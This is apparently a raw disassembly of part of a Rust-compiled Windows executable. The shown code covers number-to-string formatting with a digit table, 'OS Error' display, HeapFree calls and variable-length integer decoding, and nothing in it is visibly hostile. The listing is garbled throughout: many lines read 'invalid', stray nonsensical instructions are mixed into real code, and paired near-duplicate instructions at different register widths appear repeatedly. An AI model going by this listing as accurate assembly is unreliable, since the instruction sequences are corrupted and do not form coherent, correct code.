lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp ecx, 0x2710
stc
adc byte [rdi], ah
add byte [rax], al
jb 0x14001a0a5
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
cmp dh, dl
invalid
insd dword [rdi], dx
xor al, 0x66
nop word cs:[rax + rax]
add byte [rax], al
cmp dh, dl
invalid
add byte [rax], al
mov rax, rcx
mov eax, ecx
mul r11
mul ebx
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
iretd
sub edi, eax
invalid
iretd
invalid
imul ebx, edi, 0x147b
jnp case.0x14000d3b5.396
add byte [rax], al
add cl, al
jmp 0x140019f60
invalid
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
adc ebp, dword [rbx - 0x3d]
sub edi, eax
movzx edi, di
mov bh, 0xff
lea rax, [rsi - 4]
lea eax, [rsi - 4]
cld
movzx ebx, word [r9 + rbx*2]
sbb al, 0x59
mov word [rsp + rsi + 0x2c], bx
mov dword [rsp + rsi + 0x2c], ebx
pop rsp
xor al, 0x2c
invalid
sub al, 0x41
movzx edi, word [rcx + rdi*2]
mov bh, 0x3c
invalid
movzx edi, word [r9 + rdi*2]
mov bh, 0x3c
jns 0x140019fcf
mov word [rsp + rsi + 0x2e], di
mov dword [rsp + rsi + 0x2e], edi
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140019f30
cmp rdx, 0x63
jbe 0x140019fac
cli
invalid
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r11d, ecx, 0x64
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r10
cmp rdx, 0xa
jae 0x14001a0b7
inc byte [rax]
add byte [rax], al
inc byte [rax]
add byte [rax], al
or dl, 0x30
mov byte [rsp + rax + 0x2f], dl
dec rax
jmp 0x14001a0c5
add byte [rcx - 0x77], al
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r9
shr r8d, 4
mov r9d, eax
mov ecx, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea edx, [rcx + 0x30]
cmovne ecx, dword [rbp - 0x72bacfaf]
push rcx
xor byte [rbp - 0x73], al
lea r11d, [r9 + 0x57]
pop rcx
push rdi
cmp r9b, 0xa
movzx r9d, r10b
retf 0xf45
mov dh, 0xd3
invalid
movzx edx, bl
cmovb r10d, r9d
mov byte [rsp + rcx + 0x2e], r10b
push rsp
or al, 0x2e
rol dword [rax + rcx*4 + 0x54], 1
push rsp
or al, 0x2e
lea r9, [rcx - 1]
cmp eax, 0x10
adc byte [rcx + rcx*4 - 0x40], al
inc dword [rbx - 0x76bbef08]
adc byte [rcx + rcx*4 - 0x40], al
sal byte [rbx - 0x37], 0xeb
mov r8, qword [rcx]
jae 0x140019fe0
jmp 0x14001a067
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rcx, r9
mov ecx, ecx
shr r8d, 4
mov r9d, eax
mov ecx, eax
mov ecx, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea edx, [rcx + 0x30]
lea edx, [rcx + 0x30]
xor byte [rbp - 0x73], al
pop rcx
invalid
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
invalid
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
invalid
retf 0xf45
movzx r10d, r11b
movzx edx, bl
rol dword [rbp + 0xf], cl
rol dword [rax + r9*4 + 0x54], 1
invalid
invalid
push rsp
cmovb r10d, r9d
mov byte [rsp + rcx + 0x2e], r10b
push rsp
or al, 0x2e
lea r9, [rcx - 1]
cmp eax, 0x10
adc byte [rcx + rcx*4 - 0x40], al
inc qword [r11 - 0x76bbef08]
sal byte [rbx - 0x37], 0x48
jae 0x14001a030
invalid
adc byte [rcx + rcx*4 - 0x40], al
jae 0x14001a030
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
cmp rcx, 0x81
jae 0x14001a100
add byte [rax], al
add byte [rax], al
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x30
xor byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
xor byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x140172d18]
mov r9d, 2
add byte [rax - 0x77], cl
invalid
mov dl, 1
jmp 0x14001a0ef
add byte [rax - 0x77], cl
sal dword [rdx + 0x484aeb01], 1
mov edx, ecx
mov rdx, rcx
cmp rdx, 0x63
ja 0x140019f82
invalid
invalid
invalid
invalid
jmp 0x140019fac
invalid
movzx edx, word [r9 + rdx*2]
movzx edx, word [rcx + rdx*2]
push rcx
mov word [rsp + rax + 0x2e], dx
push rsp
add al, 0x2e
add rax, 0xfffffffffffffffe
inc byte [rbp - 0x7b]
ror byte [rdi], 0x99
ret 0x8d4c
test r8d, r8d
setns dl
lea r8, [rsp + rax]
add r8, 0x30
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r8
mov r8d, 1
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
call fcn.140012de0
nop
add rsp, 0xb0
add byte [rbx + 0x5f], bl
add byte [rbx + 0x5f], bl
pop rsi
ret
lea r8, [0x140115248]
add eax, 0xfb141
mov edx, 0x80
call fcn.1401085a0
invalid
in al, 0xe
add ah, cl
add byte [rax], al
add al, ch
invalid
int3
and al, 0x48
mov dword [rsp + 0x28], eax
lea rax, [0x140019870]
mov qword [rsp + 0x30], rax
lea rax, str.OS_Error:
jmp 0x14001a187
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax - 0x73], cl
and al, 0x28
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
cmp al, ch
int 0x97
invalid
call fcn.140013990
nop
add rsp, 0x68
ret
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
add rsp, 0x68
jmp r9
invalid
int3
int3
add byte [rax], al
mov rdi, rdx
mov rsi, rcx
mov rcx, rdx
call fcn.14001a360
mov ebp, eax
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14001a310
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x38], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x48
and al, 0x48
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x98], 0x20
add byte [rax], al
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0xa0], 3
mov qword [rsp + 0x68], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x88], rdx
lea rdx, [0x140116690]
mov qword [rsp + 0x90], rdx
lea rdx, [rsp + 0x68]
call rax
test al, al
jne case.0x14000d3b5.97
lea rbx, [rdi - 1]
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
and al, 0x50
and al, 0x50
mov byte [rsi + 1], bpl
mov qword [rsi + 8], rcx
movaps xmm0, xmmword [rsp + 0x50]
add dword [rax - 0x77], ecx
or byte [rdi], r9b
sub byte [rsp + 0x50], al
movups xmmword [rsi + 0x10], xmm0
mov byte [rsi], 2
mov rsi, qword [rdi - 1]
mov rdi, qword [rdi + 7]
jg 0x14001a2da
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14001a2fc
cmp qword [rdi + 0x10], 0x11
jb 0x14001a2ea
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
push rdx
nop
invalid
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0xf9052
push rdx
nop
invalid
invalid
push rdx
nop
verw bx
jmp 0x14001a325
adc eax, 0x16e8840
mov byte [rsi + 1], bpl
movabs rax, 0x8000000000000000
mov qword [rsi + 8], rax
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x8468948], al
invalid
or dh, al
invalid
mov byte [rsi], 2
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rax, [0x140172938]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_string.rs
lea r9, [0x140116700]
or eax, 0xfc3b5
lea r8, [rsp + 0x37]
mov edx, 0x37
call fcn.1401088e0
xchg ch, ah
invalid
add ah, cl
xchg ch, ah
invalid
int3
int3
and eax, 3
lea rdx, [0x140176380]
adc al, 0xc0
adc eax, 0x4634800
movsxd rax, dword [rdx + rax*4]
add rax, rdx
sar bh, 1
invalid
invalid
sar bh, 1
loopne 0x14001a385
invalid
movzx eax, byte [rcx + 0x10]
ret
mov dh, 0x41
adc bl, al
shr rcx, 0x20
mov al, 1
cmp ecx, 0x3e2
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rsi + 0x3f], bh
jle 0x14001a3c7
cmp ecx, 0x271c
stc
sbb al, 0x27
add byte [rax], al
jle 0x14001a3e9
pop rcx
lea edx, [rcx - 0x271d]
jrcxz case.0x14000d3b5.180
fdivr st(7)
invalid
inc dword [rbx - 0x78f0cb06]
enter 0, 0
add byte [rax], al
invalid
cmp edx, 0x34
xor al, 0xf
xchg eax, ecx
ja 0x14001a467
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401767b8]
lea rcx, [0x1401767b8]
adc al, ah
adc eax, 0x14634800
add byte [rax + 0x63], cl
adc al, 0x91
add byte [rax + 0x63], cl
movsxd rdx, dword [rcx + rdx*4]
adc al, 0x91
add rdx, rcx
jmp rdx
mov al, 0xd
ret
shr rcx, 0x20
cmp ecx, 0x29
mov eax, 0x29
cmovb eax, ecx
ret
movzx eax, byte [rcx + 0xf]
ret
lea edx, [rcx - 2]
cmp edx, 0x109
ja case.default.0x14001a3e4
lea rcx, [0x140176390]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
xor eax, eax
ret
cmp ecx, 0x50e
jle 0x14001a422
cmp ecx, 0x1b7f
jg 0x14001a44d
cmp ecx, 0x1715
jg 0x14001a4b0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x50ff9], al
add byte [rdi], cl
test byte [rsi], dl
add dword [rax], eax
add byte [rcx + 0x5b4f9], al
add byte [rdi], cl
cmp ecx, 0x50f
je 0x14001a527
cmp ecx, 0x5b4
je case.0x14001a3e4.121
invalid
mov ch, 0
add byte [rax], al
test byte [rbp - 0x17000000], dh
add byte [rax], al
jmp case.0x14001c8c4.1
mov eax, dword [rax]
add byte [rax], al
invalid
add byte [rcx + 0x46af9], al
add byte [rsi + 0x52], bh
cmp ecx, 0x46a
push 4
add byte [rax], al
jle 0x14001a47c
cmp ecx, 0x4ce
jg 0x14001a4d5
cmp ecx, 0x46b
je 0x14001a52a
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x476f9], al
invalid
stc
jbe 0x14001a44a
add al, 0
cmp ecx, 0x476
add al, 0
add byte [rbp + 0x63], dh
jne case.0x14001c8c4.1
mov al, 0x20
ret
and bl, al
cmp ecx, 0x2021
stc
and dword [rax], esp
add byte [rax], al
jg 0x14001a4c2
insd dword [rdi], dx
cmp ecx, 0x1b80
je case.0x14001a3e4.121
cmp ecx, 0x1f4e
je case.0x14001a3e4.121
jmp case.0x14001c8c4.1
lea eax, [rcx - 0x3c2a]
cmp eax, 2
jb case.0x14001a3e4.121
cmp ecx, 0x35ed
add byte [rax], al
je case.0x14001a3e4.121
jmp case.0x14001c8c4.1
cmp ecx, 0x3e3
je case.0x14001a3e4.121
cmp ecx, 0x41d
je case.0x14001a3e4.121
cmp ecx, 0x461
je case.0x14001a3e4.121
stc
invalid
jmp case.0x14001c8c4.1
mov al, 0x21
ret
cmp ecx, 0x150
add byte [rax], al
je 0x14001a52d
cmp ecx, 0x252
je case.0x14001a3e4.121
mov al, 0x28
ret
cmp ecx, 0x1716
je case.0x14001a3e4.121
invalid
cmp ecx, 0x1b64
je case.0x14001a3e4.121
jmp case.0x14001c8c4.1
cmp ecx, 0x2022
je case.0x14001a3e4.121
cmp ecx, 0x25e9
stc
jmp 0x1b501a4f6
add byte [rax], al
invalid
add byte [rax], al
jne case.0x14001c8c4.1
invalid
mov al, 0x16
ret
cmp ecx, 0x4cf
je 0x14001a4f7
cmp ecx, 0x4d0
jne case.0x14001c8c4.1
stc
rol byte [rax + rax], 1
add byte [rbp - 0x38], dh
mov al, 4
ret
mov al, 0x14
ret
mov al, 0x26
ret
mov al, 0x18
ret
sbb bl, al
mov al, 0xb
ret
or eax, ebx
mov al, 0xc
ret
or al, 0xc3
mov al, 5
ret
add eax, 0xc302b0c3
mov al, 2
ret
add al, bl
mov al, 9
ret
or ebx, eax
mov al, 8
ret
or bl, al
mov al, 6
ret
invalid
mov al, 0xa
ret
mov al, 3
ret
mov al, 7
ret
mov al, 0x24
ret
mov al, 0x10
ret
mov al, 0x1c
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x1b
ret
mov al, 0x19
ret
mov al, 0xe
ret
mov al, 0x1a
ret
mov al, 0x1e
ret
mov al, 0xf
ret
invalid
and al, 0x2e
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
mov edi, 4
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
or byte [rax - 0x40d0dbac], 4
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov ebx, dword [rsi + 0x10]
sub rax, rbx
sub eax, ebx
cmp rax, rdi
jb 0x14001a631
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call fcn.140106530
add rbx, rdi
mov qword [rsi + 0x10], rbx
xor eax, eax
add rsp, 0x30
add esp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140108ba0
mov rbx, qword [rsi + 0x10]
jmp 0x14001a60c
mov rcx, rdi
mov rdx, qword [rsp + 0x118]
call fcn.14001b400
movzx r14d, byte [rsp + 0xd0]
movzx ebx, byte [rsp + 0x110]
cmp bl, 8
je 0x14001b0ca
lea rcx, [rsp + 0xd1]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x2f]
lea rdx, [rsp + 0x41]
movups xmmword [rdx + 0x2f], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov eax, dword [rcx + 0x40]
mov ecx, dword [rcx + 0x43]
mov dword [rdx + 0x43], ecx
mov dword [rdx + 0x40], eax
xor r13d, r13d
mov rcx, rdi
mov rdx, r15
xor r8d, r8d
call fcn.14001bbe0
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
lea rcx, [rsp + 0xe8]
call qword [rax + 0x10]
mov byte [rsp + 0x40], r14b
mov byte [rsp + 0x80], bl
mov rcx, r12
lea rdx, [rsp + 0x40]
call fcn.14001bee0
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rdx + 8]
cmp rax, rcx
jbe 0x14001affe
mov rdx, qword [rdx]
movzx r8d, byte [rdx + rcx]
test r8b, r8b
js 0x14001a970
cmp r8b, 0x3f
ja 0x14001aa50
mov r9d, r8d
and r9b, 0x30
je 0x14001a933
movzx r9d, r9b
cmp r9d, 0x10
jne 0x14001ac6b
mov rcx, rdi
mov rdx, rsi
mov r8, r15
xor r9d, r9d
call fcn.14001c680
movzx r14d, byte [rsp + 0xd0]
movzx ebx, byte [rsp + 0x110]
cmp bl, 8
jne 0x14001a86a
jmp 0x14001b0ca
mov r14b, 1
cmp rax, rcx
jbe 0x14001b0ca
movzx r8d, r8b
lea r9, [rcx + 1]
mov qword [rsp + 0x38], r9
and r8d, 0x7f
cmp r8, 0x7f
jne 0x14001a840
cmp rax, r9
jbe 0x14001b0ca
movzx r10d, byte [rdx + rcx + 1]
lea r9, [rcx + 2]
mov qword [rsp + 0x38], r9
mov r8d, r10d
and r8d, 0x7f
add r8, 0x7f
test r10b, r10b
jns 0x14001a840
cmp rax, r9
jbe 0x14001b0ca
movzx r10d, byte [rdx + rcx + 2]
lea r9, [rcx + 3]
mov qword [rsp + 0x38], r9
mov r11d, r10d
and r11d, 0x7f
shl r11d, 7
add r8, r11
test r10b, r10b
jns 0x14001a840
cmp rax, r9
jbe 0x14001b0ca
movzx r10d, byte [rdx + rcx + 3]
lea r9, [rcx + 4]
mov qword [rsp + 0x38], r9
mov r11d, r10d
and r11d, 0x7f
shl r11d, 0xe
add r8, r11
test r10b, r10b
jns 0x14001a840
cmp rax, r9
jbe 0x14001b0ca
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
mov qword [rsp + 0x38], rcx
test al, al
js 0x14001b1b8
and eax, 0x7f
shl eax, 0x15
add r8, rax
jmp 0x14001a840
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, r15
mov r9b, 1
call fcn.14001c680
movzx r14d, byte [rsp + 0x40]
movzx eax, byte [rsp + 0x80]
cmp al, 8
je 0x14001b0ca
lea rdx, [rsp + 0x41]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x2f]
lea r8, [rsp + 0x1a1]
movups xmmword [r8 + 0x2f], xmm3
movups xmmword [r8 + 0x20], xmm2
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov ecx, dword [rdx + 0x40]
mov edx, dword [rdx + 0x43]
mov dword [r8 + 0x43], edx
mov dword [r8 + 0x40], ecx
mov byte [rsp + 0x1a0], r14b
mov byte [rsp + 0x1e0], al
mov rcx, rdi
lea rdx, [rsp + 0x1a0]
call fcn.14001d500
mov rcx, rdi
call fcn.14001d760
mov r14, rax
mov r13, qword [rsi + 0x30]
mov rdi, qword [rsi + 0x38]
add rax, r13
cmp rax, rdi
jbe 0x14001ac40
mov rcx, qword [rsp + 0x90]
mov rbp, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
lea r12, [rcx - 1]
mov qword [rsp + 0xc8], rdx
add rcx, rdx
lea rcx, [rcx + rcx*8]
lea r15, [rax + rcx*8]
add r15, 0xfffffffffffffff8
nop word [rax + rax]
cmp r12, 0xffffffffffffffff
mov rbx, qword [rsp + 0x90]
je 0x14001ad63
mov qword [rbx + 0x28], r12
mov rax, qword [rsp + 0xc8]
add rax, r12
cmp rax, rbp
mov eax, 0
cmovae rax, rbp
shl rax, 3
lea rax, [rax + rax*8]
mov rcx, r15
sub rcx, rax
movups xmm0, xmmword [rcx - 0x40]
movups xmm1, xmmword [rcx - 0x30]
movups xmm2, xmmword [rcx - 0x20]
movups xmm3, xmmword [rcx - 0x10]
movaps xmmword [rsp + 0x190], xmm3
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
movzx eax, byte [rcx]
mov edx, dword [rcx + 4]
mov dword [rsp + 0xc3], edx
mov ecx, dword [rcx + 1]
mov dword [rsp + 0xc0], ecx
cmp al, 8
je 0x14001ad63
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmm3, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x80], al
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
lea rdx, [rsp + 0x41]
mov dword [rdx + 0x43], ecx
mov dword [rdx + 0x40], eax
lea rsi, [rsp + 0x40]
mov rcx, rsi
call fcn.14001d760
sub r13, rax
mov qword [rbx + 0x30], r13
mov rcx, rsi
call fcn.14001d860
lea rax, [r14 + r13]
dec r12
add r15, 0xffffffffffffffb8
cmp rax, rdi
ja 0x14001ab30
nop
cmp rax, rdi
jbe 0x14001ad72
lea rdi, [rsp + 0xd0]
mov rcx, rdi
call fcn.14001d860
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x138]
jmp 0x14001ae4e
cmp r8b, 0x1f
jbe 0x14001b0c7
mov r14b, 0xa
test r13b, 1
je 0x14001b0ca
mov r14b, 1
cmp rax, rcx
jbe 0x14001b0ca
lea r9, [rcx + 1]
mov qword [rsp + 0x38], r9
and r8b, 0x1f
cmp r8b, 0x1f
mov qword [rsp + 0xc8], r13
jne 0x14001aed7
cmp rax, r9
jbe 0x14001b0ca
movzx r9d, byte [rdx + rcx + 1]
lea r8, [rcx + 2]
mov qword [rsp + 0x38], r8
mov edi, r9d
and edi, 0x7f
add rdi, 0x1f
test r9b, r9b
jns 0x14001aedb
cmp rax, r8
jbe 0x14001b0ca
movzx r9d, byte [rdx + rcx + 2]
lea r8, [rcx + 3]
mov qword [rsp + 0x38], r8
mov r10d, r9d
and r10d, 0x7f
shl r10d, 7
add rdi, r10
test r9b, r9b
jns 0x14001aedb
cmp rax, r8
jbe 0x14001b0ca
movzx r9d, byte [rdx + rcx + 3]
lea r8, [rcx + 4]
mov qword [rsp + 0x38], r8
mov r10d, r9d
and r10d, 0x7f
shl r10d, 0xe
add rdi, r10
test r9b, r9b
jns 0x14001aedb
cmp rax, r8
jbe 0x14001b0ca
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
mov qword [rsp + 0x38], rcx
test al, al
js 0x14001b1b8
and eax, 0x7f
shl eax, 0x15
add rdi, rax
jmp 0x14001aedb
add r13, r14
mov rax, r13
cmp rax, rdi
ja 0x14001ac49
mov rsi, qword [rsp + 0x90]
mov qword [rsi + 0x30], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rdi], cl
adc byte [rsp + 0xd0], al
add byte [rax], 0
add byte [rdi], cl
adc byte [rsp + 0xd0], al
movups xmm1, xmmword [rsp + 0xe0]
movups xmm2, xmmword [rsp + 0xf0]
movups xmm3, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x28]
cmp rcx, rax
lea rdi, [rsp + 0xd0]
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x138]
and al, 0x38
add dword [rax], eax
add byte [rbp + 0x15], dh
mov rcx, qword [rsp + 0x118]
call fcn.14001d920
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
dec r8
add rax, r8
cmovae rax, r8
mov qword [rsi + 0x20], rax
and byte [rax - 1], r9b
ror dword [rax - 0x77], 0x4e
sub byte [rax - 0x73], cl
add al, 0xc0
and byte [rax - 1], r9b
ror dword [rax - 0x77], 0x4e
sub byte [rax - 0x73], cl
add al, 0xc0
movaps xmm0, xmmword [rsp + 0x40]
and al, 0x40
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movaps xmm3, xmmword [rsp + 0x70]
jo 0x14001ae3e
adc dword [rdx + rax*8], eax
jo 0x14001ae3e
adc dword [rdx + rax*8], eax
movups xmmword [rdx + rax*8 + 0x10], xmm1
movups xmmword [rdx + rax*8 + 0x20], xmm2
adc byte [rdi], cl
adc dword [rdx + rax*8 + 0x20], edx
movups xmmword [rdx + rax*8 + 0x30], xmm3
adc dword [rdx + rax*8 + 0x30], ebx
pop rsp
ret 0x4830
mov rcx, qword [rsp + 0x80]
mov qword [rdx + rax*8 + 0x40], rcx
invalid
xor r13d, r13d
xor r13d, r13d
lea rsi, [rsp + 0x40]
mov rcx, rsi
mov rdx, r15
xor r8d, r8d
xor eax, eax
xor eax, eax
call fcn.14001bbe0
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x1e0]
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x1a0], al
test byte [rax + riz*4], ah
add dword [rax], eax
invalid
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x1a0], al
test byte [rax + riz*4], ah
add dword [rax], eax
invalid
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x1b0], cl
movups xmm1, xmmword [rsp + 0x1b0]
movups xmm2, xmmword [rsp + 0x1c0]
movups xmm3, xmmword [rsp + 0x1d0]
xchg esp, eax
and al, 0xc0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x1d0], bl
movaps xmmword [rsp + 0x70], xmm3
pop rsp
and al, 0x70
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
and al, 0x40
mov rcx, r12
mov rdx, rsi
call fcn.14001bee0
add byte [rax - 0x75], cl
mov ah, 0x24
and al, 0x90
add byte [rax], al
add cl, ch
invalid
cli
invalid
invalid
add byte [rax - 0x75], cl
mov ah, 0x24
and al, 0x90
and al, 0x90
add byte [rax], al
add cl, ch
invalid
movzx edi, r8b
mov r14b, 0xa
cmp rdi, qword [rsi + 0x60]
or cl, byte [rax + 0x3b]
jle 0x14001af42
ja 0x14001b0ca
add byte [rax], al
mov qword [rsi + 0x38], rdi
mov dword [rsi + 0x38], edi
mov rbx, qword [rsi + 0x30]
mov ebx, dword [rsi + 0x30]
cmp rbx, rdi
jbe case.0x14001a3ad.463
mov r15, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov r12, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x28]
lea rbp, [rcx - 1]
add rcx, r12
lea rcx, [rcx + rcx*8]
lea r13, [rax + rcx*8]
add r13, 0xffffffffffffffb8
jmp 0x14001af30
invalid
adc ah, byte [rsi - 0x70]
dec rbp
add r13, 0xffffffffffffffb8
cmp rbx, rdi
sti
sti
jbe case.0x14001a3ad.463
add byte [rax], al
add byte [rax - 0x7d], cl
std
dec dword [rdi]
test byte [rbp + 0x49000002], dl
lea eax, [rsp + rbp]
invalid
cmp rbp, 0xffffffffffffffff
je 0x14001b1cf
lea rax, [r12 + rbp]
sub al, 0x4c
cmp eax, edi
cmp rax, r15
mov eax, 0
add byte [rax], al
add byte [rax], al
cmovae rax, r15
shl rax, 3
add ecx, dword [rax - 0x73]
add al, 0xc0
invalid
add ecx, dword [rax - 0x73]
add al, 0xc0
mov r14, r13
sub r14, rax
mov rcx, r14
call fcn.14001d760
sub byte [rax], al
add byte [rax + 0x29], cl
ret
mov qword [rsi + 0x30], rbx
pop rsi
xor byte [rax - 0x77], cl
outsb dx, byte [rsi]
sub byte [rcx - 0x75], cl
mov qword [rsp + 0x80], rax
sub byte [rax], al
add byte [rax + 0x29], cl
ret
outsb dx, byte [rsi]
sub byte [rcx - 0x75], cl
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [r14]
adc byte [rsi], al
movups xmm1, xmmword [r14 + 0x10]
adc byte [rsi + 0x10], cl
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0x70], xmm3
and al, 0x70
xor byte [rdi], cl
sub dword [rsp + 0x70], ebx
and al, 0x70
and al, 0x70
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
cmp al, 8
cmp al, 8
je 0x14001af20
lea rcx, [rsp + 0x40]
and al, 0x40
call fcn.14001d860
jmp 0x14001af20
lea rcx, [rsp + 0x40]
lea r15, [rsp + 0x30]
